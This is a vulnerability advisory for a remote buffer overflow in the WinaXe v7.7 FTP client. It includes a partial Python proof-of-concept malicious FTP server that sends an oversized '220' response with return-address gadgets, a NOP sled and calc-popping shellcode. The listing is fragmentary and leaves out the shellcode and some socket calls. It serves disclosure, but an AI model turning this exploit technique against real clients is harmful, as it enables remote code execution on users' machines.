[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] ISR: Apparition Security
WinaXe v7.7 FTP
The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are
built and provided in the package.
All that you need to run remote UNIX and X Applications is included within
WinaXe Plus. You operate simultaneously with
X11, FTP and Telnet sessions and with your familiar MS Windows applications.
Remote Buffer Overflow
WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow
vectors when connecting to a malicious FTP Server and
receiving overly long payloads in the command response from the remote
220 SERVICE READY
331 USER / PASS
below is POC for "server ready" 220 command exploit when first connecting
to a FTP server.
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#shellcode to pop calc.exe Windows 7 SP1
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that
will jump to shellcode.
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220'
port = 21
s = socket.socket()
host = '127.0.0.1'
print 'Evil FTPServer listening...'
conn, addr = s.accept()
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.